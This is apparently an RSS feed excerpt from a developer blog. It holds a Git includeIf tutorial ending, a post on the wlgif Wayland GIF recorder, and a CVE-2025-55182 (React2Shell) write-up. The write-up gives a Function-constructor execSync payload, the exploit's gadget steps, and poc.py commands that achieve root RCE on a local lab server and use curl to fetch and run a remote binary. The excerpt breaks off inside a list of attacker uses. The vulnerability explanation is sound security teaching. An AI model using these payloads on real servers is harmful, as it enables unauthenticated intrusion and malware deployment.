&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-personal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="why-this-is-useful"&gt;Why This Is Useful&lt;/h3&gt;
&lt;p&gt;This approach has several advantages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Flexible organization&lt;/strong&gt;: Your repos can live anywhere on your filesystem&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Service-specific configs&lt;/strong&gt;: Apply different settings based on GitHub vs GitLab vs Codeberg&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Organization-based&lt;/strong&gt;: Match specific organizations or groups within a hosting service&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protocol-agnostic&lt;/strong&gt;: Works with both SSH and HTTPS URLs&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="combining-both-approaches"&gt;Combining Both Approaches&lt;/h3&gt;
&lt;p&gt;You can use both &lt;code&gt;gitdir&lt;/code&gt; and &lt;code&gt;hasconfig:remote.*.url&lt;/code&gt; together for maximum flexibility:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[user]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;Your Name
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; email = personal@example.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Directory-based rules (checked first)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;gitdir:~/work/&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Remote URL-based rules (useful for exceptions)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;hasconfig:remote.*.url:git@github.com:opensource-project/**&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-opensource&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The &lt;code&gt;hasconfig:remote.*.url&lt;/code&gt; condition requires that the repository already has a remote configured. It won&amp;rsquo;t work immediately after &lt;code&gt;git init&lt;/code&gt; but will activate once you add a remote with &lt;code&gt;git remote add&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="advanced-use-cases"&gt;Advanced Use Cases&lt;/h2&gt;
&lt;h3 id="different-ssh-keys"&gt;Different SSH Keys&lt;/h3&gt;
&lt;p&gt;You can configure different SSH keys for different contexts by including SSH configuration in your conditional config files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.gitconfig-work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[user]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;email&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;you@company.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[core]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;sshCommand&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;ssh -i ~/.ssh/id_rsa_work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="url-rewrites"&gt;URL Rewrites&lt;/h3&gt;
&lt;p&gt;Automatically use different protocols or paths:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.gitconfig-work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[url &amp;#34;git@github.com-work:&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;insteadOf&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;git@github.com:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="different-default-branches"&gt;Different Default Branches&lt;/h3&gt;
&lt;p&gt;Set different default branch names per context:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.gitconfig-personal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[init]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;defaultBranch&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;main&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.gitconfig-work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[init]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;defaultBranch&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;master&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="pro-tip-editing-conditional-config-files-directly"&gt;Pro Tip: Editing Conditional Config Files Directly&lt;/h2&gt;
&lt;p&gt;Instead of manually opening your conditional config files in an editor, you can use git&amp;rsquo;s &lt;code&gt;--file&lt;/code&gt; flag to edit them directly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Edit your work config&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git config --file&lt;span style="color:#f92672"&gt;=&lt;/span&gt;~/.gitconfig-work user.email &lt;span style="color:#e6db74"&gt;&amp;#34;newemail@company.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Add a new setting to your personal config&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git config --file&lt;span style="color:#f92672"&gt;=&lt;/span&gt;~/.gitconfig-personal core.editor &lt;span style="color:#e6db74"&gt;&amp;#34;vim&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# List all settings in a specific config file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git config --file&lt;span style="color:#f92672"&gt;=&lt;/span&gt;~/.gitconfig-work --list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is especially handy when you can&amp;rsquo;t remember the exact path to your config files or want to quickly update a setting without opening an editor.&lt;/p&gt;
&lt;h2 id="verifying-your-configuration"&gt;Verifying Your Configuration&lt;/h2&gt;
&lt;p&gt;To check which configuration is being used in a repository, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git config --list --show-origin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This shows each configuration value and which file it comes from. You should see values from your conditional config file for repositories in the matching directories.&lt;/p&gt;
&lt;p&gt;To test a specific value:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git config --get user.email
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="troubleshooting"&gt;Troubleshooting&lt;/h2&gt;
&lt;p&gt;If your conditional configuration isn&amp;rsquo;t working:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check for typos&lt;/strong&gt; in the &lt;code&gt;gitdir&lt;/code&gt; path, especially the trailing slash&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use absolute paths&lt;/strong&gt; or &lt;code&gt;~&lt;/code&gt; for home directory, not relative paths&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify file permissions&lt;/strong&gt; on your config files&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the order&lt;/strong&gt; - later includes override earlier ones&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remember&lt;/strong&gt; that &lt;code&gt;includeIf&lt;/code&gt; only works in the global config file, not in repository-local configs&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="why-this-matters"&gt;Why This Matters&lt;/h2&gt;
&lt;p&gt;Beyond just getting the right email in commits, conditional configurations enable:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Security&lt;/strong&gt;: Use different GPG keys for signing commits in different contexts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Compliance&lt;/strong&gt;: Ensure company policies are followed automatically in work repositories&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Productivity&lt;/strong&gt;: Eliminate context-switching friction and mental overhead&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reliability&lt;/strong&gt;: Prevent embarrassing mistakes like using personal credentials in company code&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="further-reading"&gt;Further Reading&lt;/h2&gt;
&lt;p&gt;For more details on conditional includes and all available options, check out the &lt;a href="https://git-scm.com/docs/git-config#_conditional_includes"&gt;official Git documentation on conditional includes&lt;/a&gt;. The docs cover additional conditions like &lt;code&gt;onbranch&lt;/code&gt; that can provide even more granular control.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Git&amp;rsquo;s &lt;code&gt;includeIf&lt;/code&gt; feature is a simple but powerful tool that saves time and prevents mistakes. By spending a few minutes setting up conditional configurations, you can work seamlessly across different projects and contexts without ever thinking about your git configuration again.&lt;/p&gt;
&lt;p&gt;The next time you clone a new repository, it will automatically pick up the right configuration based on where you put it. That&amp;rsquo;s the kind of automation that makes development just a little bit smoother.&lt;/p&gt;</description></item><item><title>wlgif - A lightweight screen recorder for Wayland that captures regions as GIFs</title><link>https://doprz.dev/blog/posts/wlgif/</link><pubDate>Sun, 04 Jan 2026 00:00:00 +0000</pubDate><guid>https://doprz.dev/blog/posts/wlgif/</guid><description>&lt;p&gt;Some of the best projects stem from real frustrations. I&amp;rsquo;ve personally struggled with creating small GIFs for project documentation on Wayland - no existing solution worked well. My workaround? Screen record with OBS, manually convert with ffmpeg. Time-consuming, janky, and frustrating.&lt;/p&gt;
&lt;p&gt;&lt;img alt="wlgif demo gif" loading="lazy" src="https://doprz.dev/blog/posts/wlgif/wlgif-demo.gif"&gt;
&lt;em&gt;wlgif demo showcasing&lt;/em&gt; &lt;a href="https://github.com/doprz/rs-cube"&gt;rs-cube&lt;/a&gt; and &lt;a href="https://github.com/doprz/minecraft_tunnel"&gt;minecraft_tunnel&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So I built &lt;strong&gt;wlgif&lt;/strong&gt; - a lightweight screen recorder for Wayland that captures regions as GIFs. What used to take several minutes now takes less than 10 seconds.&lt;/p&gt;
&lt;p&gt;GitHub: &lt;a href="https://github.com/doprz/wlgif"&gt;https://github.com/doprz/wlgif&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Stats: ~1000 lines of Rust code, 99KiB repository size, with scc estimating $38k development cost.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Screen-to-GIF on Wayland has been surprisingly painful. Most tools only work on specific compositors, forcing users into awkward workarounds. wlgif solves this with a dual-backend architecture that &lt;strong&gt;works on ANY Wayland compositor&lt;/strong&gt; - whether you&amp;rsquo;re running GNOME, KDE, Sway, Hyprland, or anything else.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Technical architecture:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The dual-backend system provides universal Wayland compatibility:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;XDG Desktop Portal backend&lt;/strong&gt; (universal):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Portal request via D-Bus for compositor screen access&lt;/li&gt;
&lt;li&gt;Compositor&amp;rsquo;s native picker for source selection&lt;/li&gt;
&lt;li&gt;PipeWire captures video stream from compositor&lt;/li&gt;
&lt;li&gt;GStreamer encodes stream to MP4&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;wlroots backend&lt;/strong&gt; (optimized for wlr-based compositors):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;slurp for interactive region selection&lt;/li&gt;
&lt;li&gt;wf-recorder captures via wlroots screencopy protocol&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Backend abstraction → GIF conversion:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ffmpeg analyzes video to generate optimal 256-color palette&lt;/li&gt;
&lt;li&gt;ffmpeg applies Floyd-Steinberg dithering for final encoding&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This two-pass encoding produces significantly smaller, better-looking GIFs than naive single-pass conversion.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Development infrastructure:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Built in Rust with first-class Nix support. The real breakthrough: I reverse-engineered Ghostty&amp;rsquo;s NixOS VM approach to create declarative, reproducible integration test environments using QEMU - true infrastructure as code.&lt;/p&gt;
&lt;p&gt;A single Nix command spins up a VM with the new wlgif derivation, automatically configures SPICE connection, sets up VM tools, and connects via virt-viewer. Code on host, test specific backends in VMs that rebuild with the updated wlgif binary. Thanks to Nix&amp;rsquo;s derivation system, only the changed components need to be rebuilt - the entire test environment is declarative and reproducible.&lt;/p&gt;
&lt;p&gt;Big thanks to the Ghostty project for the VM testing inspiration and nix.dev for excellent NixOS VM documentation.&lt;/p&gt;
&lt;p&gt;#Rust #Wayland #Linux #OpenSource #Nix #NixOS #DevOps #IntegrationTesting&lt;/p&gt;</description></item><item><title>CVE-2025-55182 (React2Shell): Remote Code Execution in React Server Components (10.0 CRITICAL)</title><link>https://doprz.dev/blog/posts/react2shell/</link><pubDate>Tue, 09 Dec 2025 00:00:00 +0000</pubDate><guid>https://doprz.dev/blog/posts/react2shell/</guid><description>&lt;p&gt;React Server Components introduced a powerful paradigm for building web applications—server-side logic that seamlessly integrates with client-side React. Unfortunately, a critical vulnerability in how React serializes and deserializes data between client and server has exposed applications to unauthenticated remote code execution.&lt;/p&gt;
&lt;p&gt;In this blog post, I&amp;rsquo;ll break down CVE-2025-55182 and demonstrate how an attacker can achieve arbitrary command execution on a vulnerable Next.js server.&lt;/p&gt;
&lt;p&gt;&lt;img alt="PoC" loading="lazy" src="https://doprz.dev/blog/posts/react2shell/PoC.png"&gt;&lt;/p&gt;
&lt;h2 id="whats-affected"&gt;What&amp;rsquo;s Affected&lt;/h2&gt;
&lt;p&gt;Any application using React Server Functions (commonly called Server Actions in Next.js) prior to the patch is vulnerable. This includes the majority of modern Next.js applications that use the &lt;code&gt;&amp;quot;use server&amp;quot;&lt;/code&gt; directive.&lt;/p&gt;
&lt;h2 id="understanding-the-vulnerability"&gt;Understanding the Vulnerability&lt;/h2&gt;
&lt;p&gt;React uses the &amp;ldquo;Flight Protocol&amp;rdquo; to serialize data passed between client and server. When you call a Server Action, your arguments are encoded into chunks that reference each other:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;0&amp;#34;: &amp;#39;[&amp;#34;$1&amp;#34;]&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;1&amp;#34;: &amp;#39;{&amp;#34;name&amp;#34;:&amp;#34;$2:value&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;2&amp;#34;: &amp;#39;{&amp;#34;value&amp;#34;:&amp;#34;hello&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The vulnerability lies in how React resolves these references. Prior to the patch, React didn&amp;rsquo;t verify whether a requested key actually existed on an object—it would happily traverse the prototype chain. This means an attacker could request &lt;code&gt;__proto__&lt;/code&gt; and access the object&amp;rsquo;s prototype, eventually reaching the &lt;code&gt;Function&lt;/code&gt; constructor.&lt;/p&gt;
&lt;p&gt;Once you have access to &lt;code&gt;Function&lt;/code&gt;, you can construct and execute arbitrary JavaScript:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Function(&lt;span style="color:#e6db74"&gt;&amp;#34;return process.mainModule.require(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;whoami&amp;#39;)&amp;#34;&lt;/span&gt;)()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="why-this-is-particularly-dangerous"&gt;Why This Is Particularly Dangerous&lt;/h2&gt;
&lt;p&gt;The exploit triggers during deserialization, &lt;em&gt;before&lt;/em&gt; the server validates which action was requested. An attacker doesn&amp;rsquo;t need to know any valid action IDs—a request with a dummy &lt;code&gt;Next-Action: foo&lt;/code&gt; header is sufficient to trigger the vulnerability.&lt;/p&gt;
&lt;p&gt;This is pre-authentication, pre-validation RCE.&lt;/p&gt;
&lt;h2 id="demonstration-environment"&gt;Demonstration Environment&lt;/h2&gt;
&lt;p&gt;To demonstrate this vulnerability safely and reproducibly, I&amp;rsquo;m running a containerized environment:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Podman&lt;/strong&gt; for container isolation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nix&lt;/strong&gt; for reproducible builds and dependencies&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A vulnerable Next.js application with Server Actions enabled&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;A note on the demo setup:&lt;/strong&gt; The container runs as root, which is explicitly &lt;em&gt;not&lt;/em&gt; a production best practice. I&amp;rsquo;m using it here to clearly show the impact—when we achieve RCE, the &lt;code&gt;id&lt;/code&gt; command returns &lt;code&gt;uid=0(root)&lt;/code&gt;. In a real attack scenario, running containers as non-root users provides defense-in-depth, limiting what an attacker can do post-exploitation.&lt;/p&gt;
&lt;h2 id="the-attack"&gt;The Attack&lt;/h2&gt;
&lt;p&gt;The exploit crafts a malicious payload that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Overwrites the &lt;code&gt;.then()&lt;/code&gt; method of a chunk with &lt;code&gt;Chunk.prototype.then&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sets up a fake chunk with &lt;code&gt;status: &amp;quot;resolved_model&amp;quot;&lt;/code&gt; to trigger initialization&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Abuses the blob deserialization handler (&lt;code&gt;$B&lt;/code&gt; prefix) as a call gadget&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Points &lt;code&gt;._formData.get&lt;/code&gt; to the &lt;code&gt;Function&lt;/code&gt; constructor&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Injects arbitrary code via the &lt;code&gt;._prefix&lt;/code&gt; field&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here&amp;rsquo;s the core of the proof-of-concept:&lt;/p&gt;
&lt;p&gt;&lt;img alt="react2shell POC Core" loading="lazy" src="https://doprz.dev/blog/posts/react2shell/react2shell-poc-core.png"&gt;&lt;/p&gt;
&lt;p&gt;Running this against the vulnerable server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 poc.py http://localhost:3000 id | grep &lt;span style="color:#e6db74"&gt;&amp;#39;^1:E&amp;#39;&lt;/span&gt; | sed &lt;span style="color:#e6db74"&gt;&amp;#39;s/^1:E//&amp;#39;&lt;/span&gt; | jq -r &lt;span style="color:#e6db74"&gt;&amp;#39;.digest&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid=0(root) gid=0(root) groups=0(root)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We have root. Now let me demonstrate what an attacker could do with this access.&lt;/p&gt;
&lt;h3 id="downloading-and-executing-arbitrary-binaries"&gt;Downloading and Executing Arbitrary Binaries&lt;/h3&gt;
&lt;p&gt;To drive the point home, I&amp;rsquo;ll download Zig onto the compromised server, extract it, and run it—all through the vulnerability. In this demo I&amp;rsquo;m using a legitimate compiler, but this could just as easily be a cryptominer, ransomware, or any malicious binary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Download the tarball&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 poc.py http://localhost:3000 &lt;span style="color:#e6db74"&gt;&amp;#34;curl -L -o /tmp/zig.tar.xz https://ziglang.org/builds/zig-x86_64-linux-0.16.0-dev.1484+d0ba6642b.tar.xz&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Step 2: Extract it&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 poc.py http://localhost:3000 &lt;span style="color:#e6db74"&gt;&amp;#34;tar -xf /tmp/zig.tar.xz -C /tmp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Step 3: Execute&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 poc.py http://localhost:3000 &lt;span style="color:#e6db74"&gt;&amp;#34;/tmp/zig-x86_64-linux-0.16.0-dev.1484+d0ba6642b/zig version&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0.16.0-dev.1484+d0ba6642b
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We&amp;rsquo;ve just downloaded and executed an arbitrary binary on the server through a series of simple HTTP requests.&lt;/p&gt;
&lt;h3 id="the-real-world-implications"&gt;The Real-World Implications&lt;/h3&gt;
&lt;p&gt;In this demo, I downloaded the zig 0.16.0-dev binary. An actual attacker would use the same technique to deploy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reverse TCP shells&lt;/strong&gt; — interactive access that persists beyond the HTTP request&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cryptominers&lt;/strong&gt; — monetize compromised infrastructure immediately&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Malicious packages&lt;/strong&gt; — supply chain payloads, backdoored tools&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Data exfiltration tools&lt;/strong&gt; — dump databases, steal credentials, pivot to internal services&lt;/p&gt;
&lt;/li&gt;
